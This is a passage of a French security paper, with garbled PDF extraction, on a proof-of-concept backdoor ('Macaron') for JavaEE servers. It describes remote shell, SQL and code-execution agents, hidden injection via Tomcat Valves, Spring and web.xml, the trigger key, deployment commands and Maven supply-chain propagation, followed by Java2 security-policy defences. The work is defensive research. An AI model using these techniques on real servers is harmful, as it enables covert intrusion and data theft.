Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
